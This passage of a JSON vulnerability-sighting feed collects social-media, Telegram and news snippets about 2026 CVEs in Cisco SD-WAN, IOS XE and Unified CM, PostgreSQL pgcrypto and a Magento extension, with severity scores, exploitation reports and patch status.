2, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0434\u043b\u044f RCE.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 Sansec, \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Mirasvit, \u0432\u043d\u0435\u0434\u0440\u044f\u044f \u0432 cookie-\u0444\u0430\u0439\u043b CacheWarmer \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 \u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 PHP-\u043e\u0431\u044a\u0435\u043a\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0443\u044e\u0442\u0441\u044f \u0431\u0435\u0437 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043a\u043b\u0430\u0441\u0441\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u044b.", "creation_timestamp": "2026-06-05T18:00:06.000000Z"}, {"uuid": "82ceb129-e0e8-4cbc-81ba-f51897153b5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mnkavsxjq22h", "content": "Critical Cisco Unified CM Bug Patched as Public Exploit Code Emerges\n\nCisco patched a critical Unified CM flaw with public PoC code that allows unauthenticated attackers to launch SSRF attacks remotely. Cisco has addressed a high-severity vulnerability, tracked as CVE-2026-20230, \u2026\n#hackernews #news", "creation_timestamp": "2026-06-05T13:34:16.549418Z"}, {"uuid": "d792da3c-1112-4d38-8e2a-d00d97c13821", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "Telegram/2GKVzEdq0Q1GgXdde3R68qhjmtmEcsIfO4W2udc5u2OvA5M", "content": "", "creation_timestamp": "2026-06-05T09:00:04.000000Z"}, {"uuid": "6e653531-8912-46bd-a63f-8cb6068258e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20358", "type": "published-proof-of-concept", "source": "Telegram/b2UszBlL6pwI-lPO-fDfPtw13spnzDLEe20NOMPsyVWZxGY", "content": "", "creation_timestamp": "2026-08-20T13:00:04.279356Z"}, {"uuid": "4b5ed126-0eda-4844-9080-472ea366b514", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20303", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3msdyet7jwc24", "content": "Cisco SD-WAN vulnerability CVE-2026-20303 and CVE-2026-20304 reach CVSS 9.9. Cisco urges Catalyst SD-WAN customers to patch now.\n#Cisco #SDWAN #CVE202620303 #CVE202620304 #CyberSecurity #NetworkSecurity", "creation_timestamp": "2026-08-05T16:51:36.687373Z"}, {"uuid": "4876944e-ffab-4d79-af64-09336fa6d987", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20304", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3msdyet7jwc24", "content": "Cisco SD-WAN vulnerability CVE-2026-20303 and CVE-2026-20304 reach CVSS 9.9. Cisco urges Catalyst SD-WAN customers to patch now.\n#Cisco #SDWAN #CVE202620303 #CVE202620304 #CyberSecurity #NetworkSecurity", "creation_timestamp": "2026-08-05T16:51:36.738948Z"}, {"uuid": "f35005dd-03bd-46d6-9ce8-4ee59a50ac00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2005", "type": "seen", "source": "https://bsky.app/profile/pgexperts.bsky.social/post/3mnku2s4kn62w", "content": "CVE-2026-2005: a heap buffer overflow in pgcrypto's pgp_parse_pubenc_sesskey() that sat in the source for roughly 20 years. CVSS 8.8. Fixed in PostgreSQL 18.4, 17.10, 16.14, 15.18, and 14.23 on May 14.\n\nIf you have not patched, patch.\n\nwww.postgresql.org/support/secu...\n\npgexperts.com", "creation_timestamp": "2026-06-05T19:17:08.912841Z"}, {"uuid": "78ea8ca1-6067-429e-9263-50bd9c9965d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20200", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/96776", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CIMCown\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a NSIDE-ATTACK-LOGIC\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-05 15:59:30\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC toolkit for exploiting Cisco IMC RCE CVE-2026-20200\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-05T17:00:05.536670Z"}, {"uuid": "8b1e8b0b-3d43-414e-a416-c0d1127ee078", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20272", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3msdzafb4i22n", "content": "Cisco IOS XE vulnerability CVE-2026-20272 hits CVSS 9.8 and CVE-2026-20267 scores 9.0. Cisco urges customers to patch now.\n\n#Cisco #IOSXE #CVE202620272 #CVE202620267 #CyberSecurity #NetworkSecurity", "creation_timestamp": "2026-08-05T17:07:01.907274Z"}, {"uuid": "8b3369fb-7d35-4503-aa73-fd3719ecdc0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20267", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3msdzafb4i22n", "content": "Cisco IOS XE vulnerability CVE-2026-20272 hits CVSS 9.8 and CVE-2026-20267 scores 9.0. Cisco urges customers to patch now.\n\n#Cisco #IOSXE #CVE202620272 #CVE202620267 #CyberSecurity #NetworkSecurity", "creation_timestamp": "2026-08-05T17:07:01.965985Z"}, {"uuid": "004ee044-713e-4b0e-853b-349b4b5b1a4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20245", "type": "seen", "source": "https://infosec.exchange/ap/users/115741367687413652/statuses/116698797446951170", "content": "No patches or workarounds for this exploited Cisco SD-WAN privilege escalation vulnerability. It requires a public-facing admin interface and either netadmin creds or chaining prior CVEs.\nhttps://discourse.ifin.network/t/cve-2026-20245-privilege-escalation-vulnerability-in-cisco-catalyst-sd-wan-controller-exploited-no-patch-or-workaround/547\n#ThreatIntel #ThreatIntelligence #IFIN", "creation_timestamp": "2026-06-05T19:25:25.232042Z"}, {"uuid": "465c8fbb-ea13-471b-ad13-5a94e3aa432b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116699170430061023", "content": "\ud83d\udcf0 Actively Exploited Zero-Day in Cisco SD-WAN Allows Root Access, No Patch Available\n\u26a0\ufe0f URGENT: Cisco warns of an actively exploited zero-day (CVE-2026-20245) in Catalyst SD-WAN products. The flaw allows root access with no patch available. Attackers are pushing malicious configs. #0day #Cisco #CyberAttack #Vulnerability\n\ud83c\udf10 cyber[.]netsecops[.]io\n\ud83d\udd17 https://cyber.netsecops.io/articles/cisco-warns-of-actively-exploited-zero-day-in-sd-wan-products/?utm_source=mastodon&u\u2026", "creation_timestamp": "2026-06-05T19:33:53.626686Z"}, {"uuid": "b7e68f4f-3e48-4b19-abd0-5ef073b4599d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mnkaof3vso2f", "content": "\ud83d\udd17 CVE : CVE-2026-20245", "creation_timestamp": "2026-06-05T13:30:07.117333Z"}, {"uuid": "345415e7-171c-4567-b8c3-6bf4672adf59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://t.me/bdufstecru/3221", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u043b\u0443\u0436\u0431\u044b WebDialer \u0441\u0438\u0441\u0442\u0435\u043c \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 Cisco Unified Communications Manager (Unified CM) \u0438 Cisco Unified Communications Manager Session Management Edition (Unified CM SME) \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u0442\u044c SSRF-\u0430\u0442\u0430\u043a\u0443\n\nBDU:2026-07815\nCVE-2026-20230\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cucm-ssrf-cXPnHcW", "creation_timestamp": "2026-06-05T13:10:08.000000Z"}, {"uuid": "d27438ea-0f82-4246-8ef1-a41a11d4b11e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mnkej4tyasl2", "content": "Cisco SD-WAN Has a New Root-Level Problem, and There\u2019s No Fix Yet Cisco warns of CVE-2026-20245 in SD-WAN Manager, a flaw that can lead to root access via file upload command injection; no patch ...\n\n#Breaking #News #Security #CISCO #Cisco #SD-WAN #Hacking #hacking #news #information #security [\u2026]", "creation_timestamp": "2026-06-05T14:38:56.950277Z"}, {"uuid": "bfcc178c-1b90-47c3-b796-8578889db305", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mnkikfh42b26", "content": "Critical vulnerability CVE-2026-20230 in Cisco Unified CM allows unauthenticated SSRF attacks leading to root access. Patch immediately! #CyberSecurity #Cisco #Vulnerability #SSRF Link: thedailytechfeed.com/cisco-patche...", "creation_timestamp": "2026-06-05T15:51:04.280117Z"}, {"uuid": "16caa5ae-e609-4ea9-ae49-234d5464938a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3mnkja2g5sm24", "content": "~Cybergcca~\nCisco addressed an authenticated privilege escalation vulnerability (CVE-2026-20245) in Catalyst SD-WAN Manager.\n-\nIOCs: CVE-2026-20245\n-\n#CVE202620245 #Cisco #ThreatIntel", "creation_timestamp": "2026-06-05T16:03:09.990366Z"}, {"uuid": "ef09588c-5e17-4a4a-acf9-a08cc668f7cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mnkyrzq5fo2b", "content": "CVE-2026-20230 \u2014 Cisco Unified CM SSRF to Potential Root Escalation", "creation_timestamp": "2026-06-05T20:41:39.706877Z"}, {"uuid": "f55119e3-a7e0-4bf6-9a02-76aefa186ecd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mnlmbiipbo27", "content": "Top 3 CVE for last 7 days:\nCVE-2025-48595: 136 interactions\nCVE-2026-0257: 40 interactions\nCVE-2026-46243: 23 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2015-5119: 20 interactions\nCVE-2020-0601: 20 interactions\nCVE-2026-20245: 6 interactions\n", "creation_timestamp": "2026-06-06T02:30:19.935752Z"}, {"uuid": "d8c4725e-23dd-49a3-8255-7523297dfa33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mnlmcqv4ok2h", "content": "Cisco warns of unpatched SD-WAN zero-day exploited in attacks\n\nOn Thursday, Cisco warned of a high-severity, unpatched zero-day in the Cisco Catalyst SD-WAN Manager (tracked as CVE-2026-20245) actively\u00a0exploited in attacks enabling root privilege escalation. [...]\n#hackernews #news", "creation_timestamp": "2026-06-06T02:31:01.549031Z"}, {"uuid": "6a258bed-6d40-4b92-b242-f9fb05c20b9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mnltvcvnz62v", "content": "Cisco SD-WAN Under Siege: Active Exploitation of CVE-2026-20245 Exposes Critical Command Injection Risk Across Enterprise Networks +\u00a0Video\n\nIntroduction: A Quiet Enterprise Backbone Now Under Real Attack Pressure Cisco\u2019s SD-WAN infrastructure has long been treated as the invisible backbone of\u2026", "creation_timestamp": "2026-06-06T04:46:40.893244Z"}, {"uuid": "de6dee7b-dd47-4a07-884a-3eaf37a9f7ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mnlvmv5sxk2h", "content": "Cisco SD-WAN 0-day exploited, no patch available (CVE-2026-20245)\n\nA 0-day privilege escalation vulnerability (CVE-2026-20245) in Cisco Catalyst SD-WAN Manager that has yet to be patched by Cisco is being leveraged by attackers. \u201cTo exploit this vulnerability, an attacker must hav\u2026\n#hackernews #news", "creation_timestamp": "2026-06-06T05:17:45.829815Z"}, {"uuid": "97885b57-f05e-4325-8061-06f949199dcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/ninjaowl.ai/post/3mnlwnsyqvw2u", "content": "Cisco Catalyst SD-WAN Manager CVE-2026-20245 Flaw Actively Exploited \u2013 No Patch Available #cybersecurity #hacking #news #infosec #security #technology #privacy thehackernews.com/20...", "creation_timestamp": "2026-06-06T05:36:10.706846Z"}, {"uuid": "62da1842-8b8a-40a0-ab7f-53f8ab88db99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mnlx5fjg5t2d", "content": "CVE-2026-20245 in Cisco Catalyst SD-WAN Manager is actively exploited, enabling authenticated local attackers to execute root commands via crafted files.\n", "creation_timestamp": "2026-06-06T05:44:53.652674Z"}, {"uuid": "77875c9f-2348-4d0a-bf6b-f2e458877fcd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mnlx7mbmih2l", "content": "Cisco Catalyst SD-WAN Manager CVE-2026-20245 Flaw Actively Exploited \u2013 No Patch Available", "creation_timestamp": "2026-06-06T05:46:07.406016Z"}, {"uuid": "656d56dc-f629-40b2-a44c-74e68ad4b82f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/eyalestrin.bsky.social/post/3mnlxs27pue2q", "content": "Urgent Cisco SD WAN Manager zero day vulnerability actively exploited (CVE-2026-20245) #patchmanagement", "creation_timestamp": "2026-06-06T05:56:25.698787Z"}, {"uuid": "5d2da7e4-5f44-464a-a0e9-04d943ac73ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://t.me/ctinow/251386", "content": "Cisco Catalyst SD-WAN Manager CVE-2026-20245 Flaw Actively Exploited \u2013 No Patch Available\nhttps://ift.tt/SpkaXZe", "creation_timestamp": "2026-06-06T05:39:32.000000Z"}, {"uuid": "1adbba9a-a35f-462c-ac0f-404868116667", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/cybersecurity0001.bsky.social/post/3mnlytc4ypz2q", "content": "Cisco Catalyst SD-WAN Manager CVE-2026-20245 Flaw Actively Exploited \u2013 No Patch Available", "creation_timestamp": "2026-06-06T06:15:01.901073Z"}, {"uuid": "44bd4a7d-9c81-4b2c-bd51-dcbe93d9e8b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/cerberusit.bsky.social/post/3mnlzx2gzpq2e", "content": "It seems Cisco Catalyst SD-WAN Manager users get to enjoy the absolute thrill of CVE-2026-20245, a lovely high-severity vulnerability that hackers are already merrily exploiting. Since Cisco has provided exactly zero patches to fix this 7.8-rated mess, those unfortunate enough to...\n\nRead full story", "creation_timestamp": "2026-06-06T06:35:01.408697Z"}, {"uuid": "8a30fd73-b7a1-499c-9464-483fa2b8f298", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://t.me/cibsecurity/89651", "content": "\ud83d\udd8b\ufe0f Cisco Catalyst SD-WAN Manager CVE-2026-20245 Flaw Actively Exploited \u2013 No Patch Available \ud83d\udd8b\ufe0f\n\nCisco has warned that a highseverity security flaw impacting Catalyst SDWAN Manager has come under active exploitation.  The vulnerability, tracked as CVE202620245, carries a CVSS score of 7.8 out of a maximum of 10.0. It affects the following deployment types      OnPrem Deployment   Cisco SDWAN CloudPro   Cisco SDWAN Cloud Cisco Managed   Cisco SDWAN for Government FedRAMP  \"A.\n\n\ud83d\udcd6 Read more.\n\n\ud83d\udd17 Via \"The Hacker News\"\n\n----------\n\ud83d\udc41\ufe0f Seen on @cibsecurity", "creation_timestamp": "2026-06-06T06:38:35.000000Z"}, {"uuid": "e4d0c0ed-60a8-4c65-ab43-4c0bfbd000c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mnm3ehhhbp2r", "content": "Cisco warns CVE-2026-20245 in Catalyst SD-WAN Manager is actively exploited, letting an authenticated local attacker run root commands via crafted file uploads. No patch or mitigation is available. #Cisco #SDWAN #CVE202620245", "creation_timestamp": "2026-06-06T07:00:25.333338Z"}, {"uuid": "fc55457a-5560-4c21-a47a-d55ef3c01f71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://thehackernews.com/2026/06/cisco-catalyst-sd-wan-manager-cve-2026.html", "content": "Cisco has warned that a high-severity security flaw impacting Catalyst SD-WAN Manager has come under active exploitation.\n\nThe vulnerability, tracked as CVE-2026-20245, carries a CVSS score of 7.8 out of a maximum of 10.0. It affects the following deployment types -\n\n\n  On-Prem Deployment\n  Cisco SD-WAN Cloud-Pro\n  Cisco SD-WAN Cloud (Cisco Managed)\n  Cisco SD-WAN for Government (FedRAMP)\n\n\"A", "creation_timestamp": "2026-06-06T02:19:28.000000Z"}, {"uuid": "aae4d17d-0c5e-4416-a1ce-7573cb0753a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/hapsis.bsky.social/post/3mnm47bi5fk2k", "content": "Cisco Catalyst SD-WAN Manager CVE-2026-20245 Flaw Actively Exploited\n\nthehackernews.com/2026/06/cisc...\n\n#Kyberturvallisuus #LaajaVaikutus #Haavoittuvuus", "creation_timestamp": "2026-06-06T07:15:26.392322Z"}, {"uuid": "f12f3f85-701c-4440-9f86-9880564e5318", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20272", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mse23ct2hz23", "content": "CVE-2026-20272 - cisco ios xe software\nCisco IOS XE Software has identified and fixed several security issues that could allow an attacker to manipulate data. This affects the security of your network, and you should\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cisco #CVE #infosec", "creation_timestamp": "2026-08-05T17:22:04.491037Z"}, {"uuid": "836c71ed-6e0d-4b0b-8605-b49137f6a7c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20304", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mse23e2oxs2p", "content": "CVE-2026-20304 - cisco catalyst sd-wan controller\nCisco Catalyst SD-WAN software has an access control issue that could allow unauthorized users to access sensitive parts of the network. This is a security concern\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cisco #CVE #infosec", "creation_timestamp": "2026-08-05T17:22:05.524967Z"}, {"uuid": "f74bc609-03f9-4fd8-b3e4-da1c8cfbe012", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20310", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mse26wvyiq2o", "content": "CVE-2026-20310 - cisco catalyst sd-wan controller\nCisco SD-WAN software has a security issue that could allow an attacker to access sensitive files by manipulating links. This is a serious issue because it could lead\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cisco #CVE #infosec", "creation_timestamp": "2026-08-05T17:24:06.427826Z"}, {"uuid": "27e20964-4156-4f4e-8e05-e0b2529845cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20245", "type": "seen", "source": "https://bsky.app/profile/blindthoughts.bsky.social/post/3mnm7ojmiuf26", "content": "Cisco SD-WAN Manager CVE-2026-20245 Is Being Actively Exploited \u2014 No Patch Exists\n\nhttps://blindthoughts.com/cisco-sd-wan-cve-2026-20245-actively-exploited-no-patch\n\n#cisco #sdwan #cve #networksecurity #activeexploitation", "creation_timestamp": "2026-06-06T08:17:37.473982Z"}, {"uuid": "8af9ad8b-2b2e-4ac5-bb78-7185f30395c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20452", "type": "seen", "source": "https://t.me/GithubRedTeam/87530", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a mediatek-wlan-heap-overflow-cve-2026-20452-filogic-router-rce\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Hunt-Benito\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-06 07:27:05\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-06-06T08:00:05.000000Z"}, {"uuid": "2aa92a7d-c758-48f2-9409-d5f6d96c31f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/vritrasecnews.bsky.social/post/3mnmeva7l3q2c", "content": "Cisco has warned that a high-severity security flaw impacting Catalyst SD-WAN Manager has come under active exploitation. The vulnerability, tracked as CVE-2026-20245, carries a CVSS scor...\n\n\ud83d\udd17 https://thehackernews.com/2026/06/cisco-catalyst-sd-wan-manager-cve-2026.html", "creation_timestamp": "2026-06-06T09:50:51.336776Z"}, {"uuid": "2c55376b-fba7-459b-ad27-116c52c4e62e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://t.me/TengkorakCyberCrewzz/10950", "content": "Cisco Catalyst SD-WAN Manager CVE-2026-20245 Flaw Actively Exploited \u2013 No Patch Available \u2013 thehackernews.com\n\nSat, 06 Jun 2026 12:19:28", "creation_timestamp": "2026-06-06T08:03:00.000000Z"}, {"uuid": "f9a726fd-38c4-4c16-a175-4d02ff6e592b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 